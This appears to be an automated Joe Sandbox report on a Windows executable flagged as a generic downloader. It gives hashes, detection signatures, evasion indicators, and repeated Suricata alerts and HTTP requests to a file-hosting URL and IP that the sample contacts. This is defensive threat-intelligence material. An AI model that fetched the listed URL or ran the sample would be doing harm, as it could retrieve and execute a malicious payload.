Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
MWP0FO5rAF.exe

Overview

General Information

Sample name:MWP0FO5rAF.exe
renamed because original name is a hash value
Original sample name:f55861fdfab03622d2e522711b19b3edfa6d50906ab712cfae0810639205b0ce.exe
Analysis ID:1587871
MD5:79e059e518b08adbf428180b3e05495e
SHA1:53dec3a16758aeb96a1afce4245b26c56d53d40a
SHA256:f55861fdfab03622d2e522711b19b3edfa6d50906ab712cfae0810639205b0ce
Tags:exeuser-adrian__luca
Infos:

Detection

Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Machine Learning detection for sample
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files

Classification

Process Tree

  • System is w10x64
  • MWP0FO5rAF.exe (PID: 7668 cmdline: "C:\Users\user\Desktop\MWP0FO5rAF.exe" MD5: 79E059E518B08ADBF428180B3E05495E)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
MWP0FO5rAF.exeJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security

    Unpacked PEs

    SourceRuleDescriptionAuthorStrings
    0.0.MWP0FO5rAF.exe.db0000.0.unpackJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security

      Sigma Signatures

      ⊘No Sigma rule has matched

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2025-01-10T18:49:33.897035+010028033053Unknown Traffic192.168.2.949742194.15.112.248443TCP
      2025-01-10T18:49:35.613588+010028033053Unknown Traffic192.168.2.949752194.15.112.248443TCP
      2025-01-10T18:49:37.295975+010028033053Unknown Traffic192.168.2.949761194.15.112.248443TCP
      2025-01-10T18:49:39.062954+010028033053Unknown Traffic192.168.2.949771194.15.112.248443TCP
      2025-01-10T18:49:40.764452+010028033053Unknown Traffic192.168.2.949783194.15.112.248443TCP
      2025-01-10T18:49:42.621411+010028033053Unknown Traffic192.168.2.949794194.15.112.248443TCP
      2025-01-10T18:49:47.355168+010028033053Unknown Traffic192.168.2.949808194.15.112.248443TCP
      2025-01-10T18:49:49.308302+010028033053Unknown Traffic192.168.2.949839194.15.112.248443TCP
      2025-01-10T18:49:51.042804+010028033053Unknown Traffic192.168.2.949849194.15.112.248443TCP
      2025-01-10T18:49:52.793848+010028033053Unknown Traffic192.168.2.949861194.15.112.248443TCP
      2025-01-10T18:49:54.512033+010028033053Unknown Traffic192.168.2.949874194.15.112.248443TCP
      2025-01-10T18:49:56.619350+010028033053Unknown Traffic192.168.2.949885194.15.112.248443TCP
      2025-01-10T18:49:58.342601+010028033053Unknown Traffic192.168.2.949899194.15.112.248443TCP
      2025-01-10T18:50:00.133942+010028033053Unknown Traffic192.168.2.949912194.15.112.248443TCP
      2025-01-10T18:50:02.139406+010028033053Unknown Traffic192.168.2.949924194.15.112.248443TCP
      2025-01-10T18:50:03.816982+010028033053Unknown Traffic192.168.2.949936194.15.112.248443TCP
      2025-01-10T18:50:05.524779+010028033053Unknown Traffic192.168.2.949946194.15.112.248443TCP
      2025-01-10T18:50:07.251766+010028033053Unknown Traffic192.168.2.949960194.15.112.248443TCP
      2025-01-10T18:50:08.941801+010028033053Unknown Traffic192.168.2.949971194.15.112.248443TCP
      2025-01-10T18:50:10.720176+010028033053Unknown Traffic192.168.2.949982194.15.112.248443TCP
      2025-01-10T18:50:12.802625+010028033053Unknown Traffic192.168.2.949993194.15.112.248443TCP
      2025-01-10T18:50:17.516454+010028033053Unknown Traffic192.168.2.949999194.15.112.248443TCP
      2025-01-10T18:50:22.438702+010028033053Unknown Traffic192.168.2.950000194.15.112.248443TCP
      2025-01-10T18:50:27.195909+010028033053Unknown Traffic192.168.2.950001194.15.112.248443TCP
      2025-01-10T18:50:28.870275+010028033053Unknown Traffic192.168.2.950003194.15.112.248443TCP
      2025-01-10T18:50:30.617506+010028033053Unknown Traffic192.168.2.950004194.15.112.248443TCP
      2025-01-10T18:50:35.421154+010028033053Unknown Traffic192.168.2.950005194.15.112.248443TCP
      2025-01-10T18:50:37.141437+010028033053Unknown Traffic192.168.2.950006194.15.112.248443TCP
      2025-01-10T18:50:38.838762+010028033053Unknown Traffic192.168.2.950007194.15.112.248443TCP
      2025-01-10T18:50:40.612107+010028033053Unknown Traffic192.168.2.950008194.15.112.248443TCP
      2025-01-10T18:50:42.370337+010028033053Unknown Traffic192.168.2.950009194.15.112.248443TCP
      2025-01-10T18:50:44.066945+010028033053Unknown Traffic192.168.2.950010194.15.112.248443TCP
      2025-01-10T18:50:46.029883+010028033053Unknown Traffic192.168.2.950011194.15.112.248443TCP
      2025-01-10T18:50:47.900340+010028033053Unknown Traffic192.168.2.950012194.15.112.248443TCP
      2025-01-10T18:50:50.733048+010028033053Unknown Traffic192.168.2.950013194.15.112.248443TCP
      2025-01-10T18:50:53.507286+010028033053Unknown Traffic192.168.2.950014194.15.112.248443TCP
      2025-01-10T18:50:55.445908+010028033053Unknown Traffic192.168.2.950015194.15.112.248443TCP
      2025-01-10T18:50:57.212243+010028033053Unknown Traffic192.168.2.950016194.15.112.248443TCP
      2025-01-10T18:50:59.115471+010028033053Unknown Traffic192.168.2.950017194.15.112.248443TCP
      2025-01-10T18:51:04.120686+010028033053Unknown Traffic192.168.2.950018194.15.112.248443TCP
      2025-01-10T18:51:06.001196+010028033053Unknown Traffic192.168.2.950019194.15.112.248443TCP
      2025-01-10T18:51:10.771803+010028033053Unknown Traffic192.168.2.950020194.15.112.248443TCP
      2025-01-10T18:51:12.565211+010028033053Unknown Traffic192.168.2.950021194.15.112.248443TCP
      2025-01-10T18:51:14.570244+010028033053Unknown Traffic192.168.2.950022194.15.112.248443TCP
      2025-01-10T18:51:16.566958+010028033053Unknown Traffic192.168.2.950023194.15.112.248443TCP
      2025-01-10T18:51:18.421448+010028033053Unknown Traffic192.168.2.950024194.15.112.248443TCP
      2025-01-10T18:51:23.699702+010028033053Unknown Traffic192.168.2.950025194.15.112.248443TCP
      2025-01-10T18:51:25.493640+010028033053Unknown Traffic192.168.2.950026194.15.112.248443TCP
      2025-01-10T18:51:27.434419+010028033053Unknown Traffic192.168.2.950027194.15.112.248443TCP
      2025-01-10T18:51:29.157510+010028033053Unknown Traffic192.168.2.950028194.15.112.248443TCP
      2025-01-10T18:51:30.868889+010028033053Unknown Traffic192.168.2.950029194.15.112.248443TCP
      2025-01-10T18:51:32.572441+010028033053Unknown Traffic192.168.2.950030194.15.112.248443TCP
      2025-01-10T18:51:34.318790+010028033053Unknown Traffic192.168.2.950031194.15.112.248443TCP
      2025-01-10T18:51:36.064967+010028033053Unknown Traffic192.168.2.950032194.15.112.248443TCP
      2025-01-10T18:51:38.924099+010028033053Unknown Traffic192.168.2.950033194.15.112.248443TCP
      2025-01-10T18:51:41.023495+010028033053Unknown Traffic192.168.2.950034194.15.112.248443TCP
      2025-01-10T18:51:42.883131+010028033053Unknown Traffic192.168.2.950035194.15.112.248443TCP
      2025-01-10T18:51:47.843879+010028033053Unknown Traffic192.168.2.950036194.15.112.248443TCP
      2025-01-10T18:51:50.462591+010028033053Unknown Traffic192.168.2.950037194.15.112.248443TCP
      2025-01-10T18:51:52.257279+010028033053Unknown Traffic192.168.2.950038194.15.112.248443TCP
      2025-01-10T18:51:57.033165+010028033053Unknown Traffic192.168.2.950039194.15.112.248443TCP
      2025-01-10T18:51:58.868235+010028033053Unknown Traffic192.168.2.950040194.15.112.248443TCP
      2025-01-10T18:52:01.166797+010028033053Unknown Traffic192.168.2.950041194.15.112.248443TCP
      2025-01-10T18:52:05.866350+010028033053Unknown Traffic192.168.2.950043194.15.112.248443TCP
      2025-01-10T18:52:15.903225+010028033053Unknown Traffic192.168.2.950046194.15.112.248443TCP
      2025-01-10T18:52:17.646867+010028033053Unknown Traffic192.168.2.950047194.15.112.248443TCP
      2025-01-10T18:52:19.630836+010028033053Unknown Traffic192.168.2.950048194.15.112.248443TCP
      2025-01-10T18:52:22.431831+010028033053Unknown Traffic192.168.2.950049194.15.112.248443TCP
      2025-01-10T18:52:24.256292+010028033053Unknown Traffic192.168.2.950050194.15.112.248443TCP
      2025-01-10T18:52:26.007955+010028033053Unknown Traffic192.168.2.950051194.15.112.248443TCP
      2025-01-10T18:52:28.175850+010028033053Unknown Traffic192.168.2.950052194.15.112.248443TCP
      2025-01-10T18:52:30.186157+010028033053Unknown Traffic192.168.2.950053194.15.112.248443TCP
      2025-01-10T18:52:32.310082+010028033053Unknown Traffic192.168.2.950054194.15.112.248443TCP
      2025-01-10T18:52:36.080885+010028033053Unknown Traffic192.168.2.950056194.15.112.248443TCP
      2025-01-10T18:52:37.942422+010028033053Unknown Traffic192.168.2.950057194.15.112.248443TCP
      2025-01-10T18:52:40.748652+010028033053Unknown Traffic192.168.2.950058194.15.112.248443TCP
      2025-01-10T18:52:42.761238+010028033053Unknown Traffic192.168.2.950059194.15.112.248443TCP
      2025-01-10T18:52:44.989539+010028033053Unknown Traffic192.168.2.950060194.15.112.248443TCP
      2025-01-10T18:52:46.915012+010028033053Unknown Traffic192.168.2.950061194.15.112.248443TCP
      2025-01-10T18:52:48.680173+010028033053Unknown Traffic192.168.2.950062194.15.112.248443TCP
      2025-01-10T18:52:50.388870+010028033053Unknown Traffic192.168.2.950063194.15.112.248443TCP
      2025-01-10T18:52:52.169989+010028033053Unknown Traffic192.168.2.950064194.15.112.248443TCP
      2025-01-10T18:52:53.959966+010028033053Unknown Traffic192.168.2.950065194.15.112.248443TCP
      2025-01-10T18:52:55.822089+010028033053Unknown Traffic192.168.2.950066194.15.112.248443TCP
      2025-01-10T18:52:57.601297+010028033053Unknown Traffic192.168.2.950067194.15.112.248443TCP
      2025-01-10T18:52:59.439794+010028033053Unknown Traffic192.168.2.950068194.15.112.248443TCP
      2025-01-10T18:53:01.264104+010028033053Unknown Traffic192.168.2.950069194.15.112.248443TCP
      2025-01-10T18:53:03.066767+010028033053Unknown Traffic192.168.2.950070194.15.112.248443TCP
      2025-01-10T18:53:04.891641+010028033053Unknown Traffic192.168.2.950071194.15.112.248443TCP
      2025-01-10T18:53:07.174412+010028033053Unknown Traffic192.168.2.950072194.15.112.248443TCP
      2025-01-10T18:53:10.881154+010028033053Unknown Traffic192.168.2.950074194.15.112.248443TCP
      2025-01-10T18:53:12.645574+010028033053Unknown Traffic192.168.2.950075194.15.112.248443TCP
      2025-01-10T18:53:14.442118+010028033053Unknown Traffic192.168.2.950076194.15.112.248443TCP
      2025-01-10T18:53:16.305855+010028033053Unknown Traffic192.168.2.950077194.15.112.248443TCP
      2025-01-10T18:53:18.098484+010028033053Unknown Traffic192.168.2.950078194.15.112.248443TCP
      2025-01-10T18:53:19.884665+010028033053Unknown Traffic192.168.2.950079194.15.112.248443TCP
      2025-01-10T18:53:22.615687+010028033053Unknown Traffic192.168.2.950080194.15.112.248443TCP
      2025-01-10T18:53:24.439074+010028033053Unknown Traffic192.168.2.950081194.15.112.248443TCP
      2025-01-10T18:53:27.084769+010028033053Unknown Traffic192.168.2.950082194.15.112.248443TCP
      2025-01-10T18:53:28.912670+010028033053Unknown Traffic192.168.2.950083194.15.112.248443TCP
      2025-01-10T18:53:30.801554+010028033053Unknown Traffic192.168.2.950084194.15.112.248443TCP
      2025-01-10T18:53:32.578973+010028033053Unknown Traffic192.168.2.950085194.15.112.248443TCP
      2025-01-10T18:53:35.025313+010028033053Unknown Traffic192.168.2.950086194.15.112.248443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: MWP0FO5rAF.exeAvira: detected
      Multi AV Scanner detection for submitted file
      Source: MWP0FO5rAF.exeReversingLabs: Detection: 65%
      Source: MWP0FO5rAF.exeVirustotal: Detection: 73%Perma Link
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability
      Machine Learning detection for sample
      Source: MWP0FO5rAF.exeJoe Sandbox ML: detected
      Source: MWP0FO5rAF.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: unknownHTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.9:49726 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 194.15.112.248:443 -> 192.168.2.9:50080 version: TLS 1.2
      Source: MWP0FO5rAF.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

      Networking

      barindex
      Yara detected Generic Downloader
      Source: Yara matchFile source: MWP0FO5rAF.exe, type: SAMPLE
      Source: Yara matchFile source: 0.0.MWP0FO5rAF.exe.db0000.0.unpack, type: UNPACKEDPE
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.at
      Source: global trafficHTTP traffic detected: GET /gQkq HTTP/1.1Host: oshi.atConnection: Keep-Alive
      Source: Joe Sandbox ViewIP Address: 194.15.112.248 194.15.112.248
      Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49752 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49808 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49761 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49783 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49742 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49912 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49874 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50009 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50013 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50031 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49849 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49839 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49771 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49794 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50085 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50028 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50066 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50017 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50064 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49946 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49936 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49885 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50008 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50075 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50004 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49971 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50006 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50029 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50084 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50048 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50051 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49899 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49993 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50056 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50001 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50007 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50019 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50020 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49924 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50016 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50050 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50036 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49982 -> 194.15.112.248:443
      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50046 -> 194.15.112.248:443
